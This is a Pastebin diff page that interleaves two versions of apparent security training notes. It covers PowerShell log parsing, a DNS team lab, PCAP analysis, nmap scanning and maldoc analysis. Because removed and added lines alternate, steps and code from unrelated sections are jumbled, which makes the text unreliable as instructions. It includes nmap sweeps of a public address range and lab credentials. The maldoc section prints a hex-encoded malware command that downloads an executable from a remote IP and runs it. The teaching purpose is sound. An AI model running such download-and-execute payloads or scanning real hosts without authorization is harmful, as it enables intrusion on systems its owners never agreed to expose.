View difference between Paste ID: aGE8gpwx and 1mE4i7Hy

-#######################
+
-# VMs for this course #
+
-#######################
+
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
+
-	username: workshop
+
-	password: password
+
-
+
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
+
-user:      infosecaddicts
+
-pass:      infosecaddicts
+
 
-You don't have to, but you can do the updates in the Win7 VM (yes, it is a lot of updates).
+
 
-You'll need to create directory in the Win7 VM called "c:\ps"
+
 
-In this file you will also need to change the text '149.28.201.171' to the IP address of your Ubuntu host.
+
 cd c:\
 dir
 cd
 ls
 ---------------------------------------------------------------
 
 
 To obtain a list of cmdlets, use the Get-Command cmdlet
 ------------------------Type This------------------------------
 Get-Command
 ---------------------------------------------------------------
 
 
 You can use the Get-Alias cmdlet to see a full list of aliased commands.
 ------------------------Type This------------------------------
 Get-Alias
 ---------------------------------------------------------------
 
 
 Don't worry you won't blow up your machine with Powershell
 ------------------------Type This------------------------------
 Get-Process | stop-process 				Don't press [ ENTER ] What will this command do?
 Get-Process | stop-process -whatif
 ---------------------------------------------------------------
 
 To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
 ------------------------Type This------------------------------
 Get-Help Get-Command
 
 Get-Help Get-Service –online
 
 Get-Service -Name TermService, Spooler
 
 Get-Service –N BITS
 ---------------------------------------------------------------
 
 
 
 
 
 - Run cmdlet through a pie and refer to its properties as $_
 ------------------------Type This------------------------------
 Get-Service | where-object {  $_.Status -eq "Running"}
 ---------------------------------------------------------------
 
 
 
 - PowerShell variables begin with the $ symbol. First lets create a variable
 ------------------------Type This------------------------------
 $serv = Get-Service –N Spooler
 ---------------------------------------------------------------
 
 To see the value of a variable you can just call it in the terminal.
 ------------------------Type This------------------------------
 $serv
 
 $serv.gettype().fullname
 ---------------------------------------------------------------
 
 
 Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
 ------------------------Type This------------------------------
 $serv | Get-Member
 
 Get-Member -InputObject $serv
 ---------------------------------------------------------------
 
 
 
 
 Let's use a method and a property with our object.
 ------------------------Type This------------------------------
 $serv.Status
 $serv.Stop()
 $serv.Refresh()
 $serv.Status
 $serv.Start()
 $serv.Refresh()
 $serv.Status
 ---------------------------------------------------------------
 
 
 If you want some good command-line shortcuts you can check out the following link:
 https://technet.microsoft.com/en-us/library/ff678293.aspx
 
 #############################
 # Simple Event Log Analysis #
 #############################
 Let's setup a directory to work in:
 ------------------------Type This------------------------------
 cd c:\
 
 mkdir ps
 
 cd ps
 ---------------------------------------------------------------
 
 Step 1: Dump the event logs
 ---------------------------
 The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
 
 To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
 If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
 ------------------------Type This------------------------------
 Get-EventLog -LogName application | Export-Clixml Applog.xml
 
 type .\Applog.xml
 
 $logs = "system","application","security"
 ---------------------------------------------------------------
 
 
 The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
 ------------------------Type This------------------------------
 $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
 ---------------------------------------------------------------
 
 
 
 
 Step 2: Import the event log of interest
 ----------------------------------------
 To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
 Store the results in a variable.
 Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
 
 The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
 ------------------------Type This------------------------------
 $seclog = Import-Clixml security.xml
 
 $seclog | select -Last 5
 ---------------------------------------------------------------
 
 Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
 ------------------------Type This------------------------------
 Get-EventLog Application -After (Get-Date).AddDays(-1)
 ---------------------------------------------------------------
 You can use '-after' and '-before' to filter date ranges
 
 One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
 By default, an ordinary user does not have permission to read the security log.
 
 
 
 
 Step 3: Drill into a specific entry
 -----------------------------------
 To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
 
 ------------------------Type This------------------------------
 $seclog | select -first 1 | fl *
 ---------------------------------------------------------------
 
 The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
 
 ------------------------Type This------------------------------
 ($seclog | select -first 1).message
 
 (($seclog | select -first 1).message).gettype()
 ---------------------------------------------------------------
 
 
 In the *nix world you often want a count of something (wc -l).
 How often is the SeSecurityPrivilege privilege mentioned in the message property?
 To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
 ------------------------Type This------------------------------
 $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
 ---------------------------------------------------------------
 If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
 
 ------------------------Type This------------------------------
 $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
 ---------------------------------------------------------------
 
 Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
 Use the count property to determine the total number of entries in the event log.
 ------------------------Type This------------------------------
 $seclog.Count
 ---------------------------------------------------------------
 
 
 
 
 
 ############################
 # Simple Log File Analysis #
 ############################
 
 
 You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
 
 ------------------------Type This------------------------------
 cd c:\ps
 (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
 (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
 Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
 ---------------------------------------------------------------
 
 
 
 The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
 ------------------------Type This------------------------------
 Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
 ---------------------------------------------------------------
 
 
 
 To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
 ------------------------Type This------------------------------
 Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
 ---------------------------------------------------------------
 
 
 To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
 ------------------------Type This------------------------------
 Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
 ---------------------------------------------------------------
 
 
 Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
 ------------------------Type This------------------------------
 Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
 ---------------------------------------------------------------
 
 In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
 This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
 ------------------------Type This------------------------------
 Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
 ---------------------------------------------------------------
 
 
 
 ##############################################
 # Parsing Log files using windows PowerShell #
 ##############################################
 
 Download the sample IIS log http://pastebin.com/LBn64cyA
 
 ------------------------Type This------------------------------
 (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
 
 Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}
 ---------------------------------------------------------------
 
 
 The above command would give us all the WebDAV requests.
 
 To filter this to a particular user name, use the below command:
 ------------------------Type This------------------------------
 Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}
 ---------------------------------------------------------------
 
 
 Some more options that will be more commonly required :
 
 For Outlook Web Access : Replace WebDAV with OWA
 
 For EAS : Replace WebDAV with Microsoft-server-activesync
 
 For ECP : Replace WebDAV with ECP
 
 
 
 --------------------------------------------
 
 Lab Exercise: Setting Up DNS Servers with PowerShell for Teams
 This lab exercise will guide students through the process of setting up DNS servers using PowerShell, configured specifically for teams. Each team’s DNS server will resolve the hostnames of the other teams' servers, enabling cross-team communication via ping by name.
 
 Lab Exercise: Setting Up Team-Specific DNS Servers with PowerShell
 Objective: Install and configure DNS servers on Windows Server for three teams, ensuring that each team's server can resolve the names of the other teams' servers.
 
 Steps:
 
 Step 1: Install the DNS Server Role
 Open PowerShell as Administrator.
 Run the following command to install the DNS Server role:
 ---------------------------- Type this ----------------------------
 Install-WindowsFeature -Name DNS -IncludeManagementTools
 -------------------------------------------------------------------
 
 
 Verify the installation:
 ---------------------------- Type this ----------------------------
 Get-WindowsFeature -Name DNS
 -------------------------------------------------------------------
 
 Step 2: Detect the Server’s IP Address
-####################################################################
+Detect the server's IP address, which will be used for DNS configuration:
-# Windows PowerShell: Extracting Strings Using Regular Expressions #
+---------------------------- Type this -----------------------------------------------------------------------------------------------------
-####################################################################
+$ipAddress = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.PrefixOrigin -eq "Dhcp" -or $_.PrefixOrigin -eq "Manual" }).IPAddress
 Write-Host "Detected IP Address: $ipAddress"
 ---------------------------------------------------------------------------------------------------------------------------------------------
-Regex Characters you might run into:
+
 Step 3: Create DNS Zones for Each Team
-^	Start of string, or start of line in a multiline pattern
+Create a DNS zone for each team. Replace YourTeamNumber with the team number (1, 2, or 3) and YourTeamName with the corresponding team name (team1, team2, or team3):
-$	End  of string, or start of line in a multiline pattern
+---------------------------- Team 1 type this ----------------------------
-\b	Word boundary
+$teamNumber = "1"
-\d	Digit
+$teamName = "alsadd.qesc.nosc"
-\	Escape the following character
+Add-DnsServerPrimaryZone -Name $teamName -ReplicationScope "Forest"
-*	0 or more	{3}	Exactly 3
+-------------------------------------------------------------------
-+	1 or more	{3,}	3 or more
+
-?	0 or 1		{3,5}	3, 4 or 5
+
 ---------------------------- Team 2 Type this ---------------------
 $teamNumber = "2"
 $teamName = "alduhail.qesc.nosc"
-To build a script that will extract data from a text file and place the extracted text into another file, we need three main elements:
+Add-DnsServerPrimaryZone -Name $teamName -ReplicationScope "Forest"
 -------------------------------------------------------------------
-1) The input file that will be parsed
+
 
-(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=rDN3CMLc", "c:\ps\emails.txt")
+---------------------------- Team 3 Type this ---------------------
-(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=XySD8Mi2", "c:\ps\ip_addresses.txt")
+$teamNumber = "3"
-(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=v5Yq66sH", "c:\ps\URL_addresses.txt")
+$teamName = "eljaish.qesc.nosc"
 Add-DnsServerPrimaryZone -Name $teamName -ReplicationScope "Forest"
-2) The regular expression that the input file will be compared against
+-------------------------------------------------------------------
 
-3) The output file for where the extracted data will be placed.
+Step 4: Add DNS Records for Other Teams
 Add A records for the other teams' servers. For example, if this is team 1, add records for team 2 and team 3:
-Windows PowerShell has a "select-string" cmdlet which can be used to quickly scan a file to see if a certain string value exists.
+---------------------------- Team 1 type this ---------------------------------------------------------
-Using some of the parameters of this cmdlet, we are able to search through a file to see whether any strings match a certain pattern, and then output the results to a separate file.
+Add-DnsServerResourceRecordA -ZoneName "alsadd.qesc.nosc" -Name "alduhail" -IPv4Address "52.53.212.185"
 Add-DnsServerResourceRecordA -ZoneName "alsadd.qesc.nosc" -Name "eljaish" -IPv4Address "54.193.54.37"
-To demonstrate this concept, below is a Windows PowerShell script I created to search through a text file for strings that match the Regular Expression (or RegEx for short) pattern belonging to e-mail addresses.
+-------------------------------------------------------------------------------------------------------
 
-$input_path = 'c:\ps\emails.txt'
+
-$output_file = 'c:\ps\extracted_addresses.txt'
+
-$regex = '\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b'
+---------------------------- Team 2 type this ---------------------------------------------------------
-select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
+Add-DnsServerResourceRecordA -ZoneName "alduhail.qesc.nosc" -Name "alsadd" -IPv4Address "54.177.32.57"
 Add-DnsServerResourceRecordA -ZoneName "alduhail.qesc.nosc" -Name "eljaish" -IPv4Address "54.193.54.37"
 -------------------------------------------------------------------------------------------------------
 
-In this script, we have the following variables:
+
 
-1) $input_path to hold the path to the input file we want to parse
+---------------------------- Team 3 type this ----------------------------------------------------------
 Add-DnsServerResourceRecordA -ZoneName "eljaish.qesc.nosc" -Name "alsadd" -IPv4Address "54.177.32.57"
-2) $output_file to hold the path to the file we want the results to be stored in
+Add-DnsServerResourceRecordA -ZoneName "eljaish.qesc.nosc" -Name "alduhail" -IPv4Address "52.53.212.185"
 --------------------------------------------------------------------------------------------------------
-3) $regex to hold the regular expression pattern to be used when the strings are being matched.
+
 
-The select-string cmdlet contains various parameters as follows:
+
 Verify DNS Records:
-1) "-Path" which takes as input the full path to the input file
+
 Query the DNS server to ensure the A records are properly configured:
-2) "-Pattern" which takes as input the regular expression used in the matching process
+
 To verify the DNS records for alduhail.qesc.nosc (Team 2) and eljaish.qesc.nosc (Team 3), Team 1 should use:
-3) "-AllMatches" which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to "$.Matches" and then "$_.Value" which represent using the current values of all the matches.
+---------------------------- Team 1 type this ---------------------------------------------------------
 Resolve-DnsName -Name "alduhail.qesc.nosc"                              # Verifying Team 2's DNS record
-Using ">" the results are written to the destination specified in the $output_file variable.
+Resolve-DnsName -Name "eljaish.qesc.nosc"                               # Verifying Team 3's DNS record
 -------------------------------------------------------------------------------------------------------
-Here are two further examples of this script which incorporate a regular expression for extracting IP addresses and URLs.
+
 
-IP addresses
+To verify the DNS records for alsadd.qesc.nosc (Team 1) and eljaish.qesc.nosc (Team 3), Team 2 should use:
 ---------------------------- Team 2 type this ---------------------------------------------------------
-For the purposes of this example, I ran the tracert command to trace the route from my host to google.com and saved the results into a file called ip_addresses.txt. You may choose to use this script for extracting IP addresses from router logs, firewall logs, debug logs, etc.
+Resolve-DnsName -Name "alsadd.qesc.nosc"                                # Verifying Team 1's DNS record
 Resolve-DnsName -Name "eljaish.qesc.nosc"                               # Verifying Team 3's DNS record
-$input_path = 'c:\ps\ip_addresses.txt'
+-------------------------------------------------------------------------------------------------------
-$output_file = 'c:\ps\extracted_ip_addresses.txt'
+
-$regex = '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
+
-select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
+To verify the DNS records for alsadd.qesc.nosc (Team 1) and alduhail.qesc.nosc (Team 2), Team 3 should use:
 ---------------------------- Team 3 type this ----------------------------------------------------------
 Resolve-DnsName -Name "alsadd.qesc.nosc"                                # Verifying Team 1's DNS record
 Resolve-DnsName -Name "alduhail.qesc.nosc"                              # Verifying Team 2's DNS record
 --------------------------------------------------------------------------------------------------------
-URLs
+
-----
+
-For the purposes of this example, I created a couple of dummy web server log entries and saved them into URL_addresses.txt.
+
-You may choose to use this script for extracting URL addresses from proxy logs, network packet capture logs, debug logs, etc.
+
 
-$input_path = 'c:\ps\URL_addresses.txt'
+
-$output_file = 'c:\ps\extracted_URL_addresses.txt'
+
-$regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
+
-select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
+##################################################################
 # Analyzing a PCAP Prads                                         #
 # Note: run as regular user                                      #
-In addition to the examples above, many other types of strings can be extracted using this script.
+##################################################################
-All you need to do is switch the regular expression in the "$regex" variable!
+
-In fact, the beauty of such a PowerShell script is its simplicity and speed of execution.
+---------------------------Type This-----------------------------------
 cd ~
 
 prads -r suspicious-time.pcap -l prads-asset.log
 
 cat prads-asset.log | less
 
-########################################
+cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
-# Basic Network Commands in PowerShell #
+
-########################################
+cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
 
 cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
-https://blogs.technet.microsoft.com/josebda/2015/04/18/windows-powershell-equivalents-for-common-networking-commands-ipconfig-ping-nslookup/
+-----------------------------------------------------------------------
 
 
-###################
+
-# Pentester Tasks #
+
-###################
+##################################
 # PCAP Analysis with ChaosReader #
-http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
+# Note: run as regular user      #
 ##################################
 ---------------------------Type This-----------------------------------
-Listing IPs
+
------------
+
-One of the typical ways for working with IP addressed in most scripts is to work with an octet and then increase the last one
+perl chaosreader.pl suspicious-time.pcap
 
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
-$octect = "149.28.201."
+
-$lastoctect = (1..255)
+cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
-$lastoctect | ForEach-Object {write-host "$($octect)$($_)"}
+
 
 for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u
 
-Ping Sweep
+python -m SimpleHTTPServer
           ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
-PowerShell provides several methods for doing Ping
+
-Test-Connection cmdlet
+------------------------------------------------------------------------
-Creation of a WMI Object
+
-.Net System.Net.NetworkInformation.Ping Object
+
 
 
 
 
-function New-IPRange ($start, $end) {
+
-$ip1 = ([System.Net.IPAddress]$start).GetAddressBytes()
+
-[Array]::Reverse($ip1)
+
-$ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address
+# PCAP Analysis with tshark #
 # Note: run as regular user #
-$ip2 = ([System.Net.IPAddress]$end).GetAddressBytes()
+
-[Array]::Reverse($ip2)
+---------------------------Type This-----------------------------------
-$ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address
+tshark -i ens3 -r suspicious-time.pcap -qz io,phs
 
-for ($x=$ip1; $x -le $ip2; $x++) {
+tshark -r suspicious-time.pcap -qz ip_hosts,tree
-$ip = ([System.Net.IPAddress]$x).GetAddressBytes()
+
-[Array]::Reverse($ip)
+tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
-$ip -join '.'
+
-}
+tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
-}
+
-$ping = New-Object System.Net.NetworkInformation.Ping
+
-New-IPRange 149.28.201.1 149.28.201.250 | ForEach-Object {$ping.Send($_, 100)} | where {$_.status -eq "Success"}
+tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
 
 whois rapidshare.com.eyu32.ru
 
-Reverse Lookups
+whois sploitme.com.cn
----------------
+
-For reverse lookups using .Net Class we use the [System.Net.Dns]::GetHostEntry(IP) method Returns System.Net.IPHostEntry
+tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
 
 tshark -r suspicious-time.pcap -qz http_req,tree
-------Deprecated--------
+
-[System.Net.Dns]::GetHostByAddress("162.243.126.247")
+tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
-------Deprecated--------
+
 tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
-Use getnameinfo instead:
+------------------------------------------------------------------------
-https://msdn.microsoft.com/en-us/library/windows/desktop/ms738532(v=vs.85).aspx
+
 
-References:
+
-https://stackoverflow.com/questions/10346194/how-to-use-getnameinfo-instead-of-gethostbyname
+---------------------------Type This----------------------------------
 hexdump -n 2 -C wannacry.exe
 ----------------------------------------------------------------------
 
-Forward Lookups
+
----------------
+***What is '4d 5a' or 'MZ'***
 Reference:
 http://www.garykessler.net/library/file_sigs.html
-[System.Net.Dns]::GetHostAddresses("www.google.com")
+
 
 
 
-Port Scans
+---------------------------Type This-----------------------------------
 objdump -x wannacry.exe
-To test if a port is open on a remote host in PowerShell the best method is to use the .Net abstraction that it provides to Windows Socket library
+
-For TCP the .Net System.Net.Sockets.TcpClient
+strings wannacry.exe
-For UDP the .Net System.Net.Sockets.UdpClient
+
 strings wannacry.exe | grep -i dll
 
 strings wannacry.exe | grep -i library
 
-TCP Scan (Windows 7)
+strings wannacry.exe | grep -i reg
 
-NOTE: If you are using Windows 7, use the code below
+strings wannacry.exe | grep -i key
 
-$ports=22,80,443,3389
+strings wannacry.exe | grep -i rsa
-$target = "149.28.201.171"
+
-foreach ($i in $ports) {
+strings wannacry.exe | grep -i open
-try {
+
-$socket = new-object System.Net.Sockets.TCPClient($target, $i);
+strings wannacry.exe | grep -i get
-} catch {}
+
-if ($socket -eq $NULL) {
+strings wannacry.exe | grep -i mutex
-echo "$target:$i - Closed";
+
-} else {
+strings wannacry.exe | grep -i irc
-echo "$target:$i - Open";
+
-$socket = $NULL;
+strings wannacry.exe | grep -i join
-}}
+
 strings wannacry.exe | grep -i admin
 
 strings wannacry.exe | grep -i list
 ----------------------------------------------------------------------
-TCP Scan (Windows 10)
+
----------------------
+
-NOTE: If you are using Windows 10, use the code below
+
 Ok, let's look for the individual strings
 
-$ports=22,80,443,3389
+
-$target = "149.28.201.171"
+---------------------------Type This-----------------------------------
-foreach ($i in $ports) {
+strings wannacry.exe | grep -i ooops
-try {
+
-$socket = new-object System.Net.Sockets.TCPClient($target, $i);
+strings wannacry.exe | grep -i wanna
-} catch {}
+
-if ($socket -eq $NULL) {
+strings wannacry.exe | grep -i wcry
-echo "${target}:$i - Closed";
+
-} else {
+strings wannacry.exe | grep -i wannacry
-echo "${target}:$i - Open";
+
-$socket = $NULL;
+strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
-}}
+----------------------------------------------------------------------
 
 
 
                              #################################
-##########################
+----------- ############### # Day 2: Software Exploitation  # ############### -----------
-# Parsing Nmap XML Files #
+                            #################################
-##########################
+
-If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
+########################
-https://s3.amazonaws.com/infosecaddictsfiles/PowerShell-Files.zip
+# Scanning Methodology #
 ########################
 
 - Ping Sweep
 What's alive?
 ------------
 
 ---------------------------Type this command-----------------------------------
 sudo nmap -sP 157.166.226.*
 -------------------------------------------------------------------------------
 
 
 
     -if -SP yields no results try:
 ---------------------------Type this command-----------------------------------
 sudo nmap -sL 157.166.226.*
 -------------------------------------------------------------------------------
-mkdir PowerShell-Files
+
-cd PowerShell-Files
+
-(new-object System.Net.WebClient).DownloadFile("https://s3.amazonaws.com/infosecaddictsfiles/PowerShell/Parse-Nmap.ps1", "c:\ps\PowerShell-Files\Parse-Nmap.ps1")
+
-(new-object System.Net.WebClient).DownloadFile("https://s3.amazonaws.com/infosecaddictsfiles/PowerShell/class_nessus.csv", "c:\ps\PowerShell-Files\class_nessus.csv")
+    -Look for hostnames:
-(new-object System.Net.WebClient).DownloadFile("https://s3.amazonaws.com/infosecaddictsfiles/PowerShell/samplescan.xml", "c:\ps\PowerShell-Files\samplescan.xml")
+---------------------------Type this command-----------------------------------
 sudo nmap -sL 157.166.226.* | grep cnn
 -------------------------------------------------------------------------------
 
-Run Powershell as administrator
+
 
-cd C:\ps\\PowerShell-Files
+- Port Scan
 What's where?
-Get-ExecutionPolicy
+
-Set-ExecutionPolicy Unrestricted –Force
+---------------------------Type this command-----------------------------------
 sudo nmap -sS 68.183.112.122
 -------------------------------------------------------------------------------
 
-Parse nmap XML
+
 
-.\parse-nmap.ps1 samplescan.xml
+- Bannergrab/Version Query
 What versions of software are running
 -------------------------------------
 
-Process all XML files
+---------------------------Type this command-----------------------------------
 sudo nmap -sV 68.183.112.122
-.\parse-nmap.ps1 *.xml
+-------------------------------------------------------------------------------
 
 
-Piping also works
+
 
-dir *.xml | .\parse-nmap.ps1
+- Vulnerability Research
 Lookup the banner versions for public exploits
 ----------------------------------------------
-Advanced parsing with filtering conditions
+https://www.exploit-db.com/search
 http://securityfocus.com/bid
-.\parse-nmap.ps1 samplescan.xml | where {$_.OS -like "*Windows XP*"} | format-table IPv4,HostName,OS
+https://packetstormsecurity.com/files/tags/exploit/
 
 
 
-More parsing
+Network Penetration Testing Process (known vulnerabilities)
 -----------------------------------------------------------
-.\parse-nmap.ps1 samplescan.xml | where {$_.Ports -like "*open:tcp:22*"}
+
 
 1. Ping Sweep:
-Parsing with match and multiple conditions
+The purpose of this step is to identify live hosts
 
-.\parse-nmap.ps1 samplescan.xml |where {$_.Ports -match "open:tcp:80|open:tcp:443"}
+    nmap -sP <ip-address/ip-range>
 
 
 2. Port Scan
-CSV Export
+Identify running services. We use the running services to map the network topology.
 
-.\parse-nmap.ps1 samplescan.xml -outputdelimiter " " | where {$_.Ports -match "open:tcp:80"} | export-csv weblisteners.csv
+    nmap -sS <ip-address/ip-range>
 
 
-Import Data from CSV
+3. Bannergrab
 Identify the version of version of software running on each port
-$data = import-csv weblisteners.csv
+
-$data | where {($_.IPv4 -like "10.57.*") -and ($_.Ports -match "open:tcp:22")}
+    nmap -sV <ip-address/ip-range>
 
 
 
-Export to HTML
+4. Vulnerability Research
 Use the software version number to research and determine if it is out of date (vulnerable).
-.\parse-nmap.ps1 samplescan.xml -outputdelimiter " " |select-object IPv4,HostName,OS | ConvertTo-Html | out-file report.html
+
     exploit-db.com/search
 
 
-########################################
+
-# Parsing Nessus scans with PowerShell #
+
-########################################
+
-If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
+
-https://s3.amazonaws.com/infosecaddictsfiles/PowerShell-Files.zip
+
 Browse to the following website with a web browser:
 https://101.46.48.34:8834/
 username: nessus
-Let's take a look at the Import-Csv cmdlet and what are the members of the object it returns:
+password:
 
-Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | Get-Member
+NOTE: ask the instructor for the password
 
 
-filter the objects:
+
 
 
-Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {$_.risk -eq "high"}
+########################
 # Linux analysis tasks #
 ########################
-use the Select-Object cmdlet and only get unique entries:
+---------------------------Type this command-----------------------------------
 file 064016.doc
-Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {$_.risk -eq "high"} | select host -Unique
+
 hexdump -n 2 -C 064016.doc
-Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | Out-GridView
+
 strings 064016.doc | grep -i dll
 
-ConvertTo-Html cmdlet and turn it in to an HTML report in list format:
+strings 064016.doc | grep -i library
 
-Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | ConvertTo-Html -As List > C:\report2.html
+strings 064016.doc | grep -i reg
 
 strings 064016.doc | grep -i key
 
 strings 064016.doc | grep -i rsa
 
-#####################################################
+strings 064016.doc | grep -i open
-# Analyzing Macro Embedded Malware                  #
+
-# Reference:                                        #
+strings 064016.doc | grep -i get
-# https://jon.glass/analyzes-dridex-malware-p1/     #
+
-#####################################################
+strings 064016.doc | grep -i mutex
 
-Use the InfoSec Addicts virtual machine:
+strings 064016.doc | grep -i irc
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
+
-user:      infosecaddicts
+strings 064016.doc | grep -i join
-pass:      infosecaddicts
+
 strings 064016.doc | grep -i admin
 
 strings 064016.doc | grep -i list
-sudo pip install olefile
+
-     infosecaddicts
+olevba 064016.doc --decode
 ---------------------------------------------------------------------------------
-mkdir ~/Desktop/oledump
+
 
-cd ~/Desktop/oledump
+
 
-wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
+See if you find this long string of text:
 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
-unzip oledump_V0_0_22.zip
+
 - Take that long blob that starts with 636D and finishes with 653B and paste it in:
-wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
+
 
-unzip 064016.zip
+
-     infected
+
 #########################################
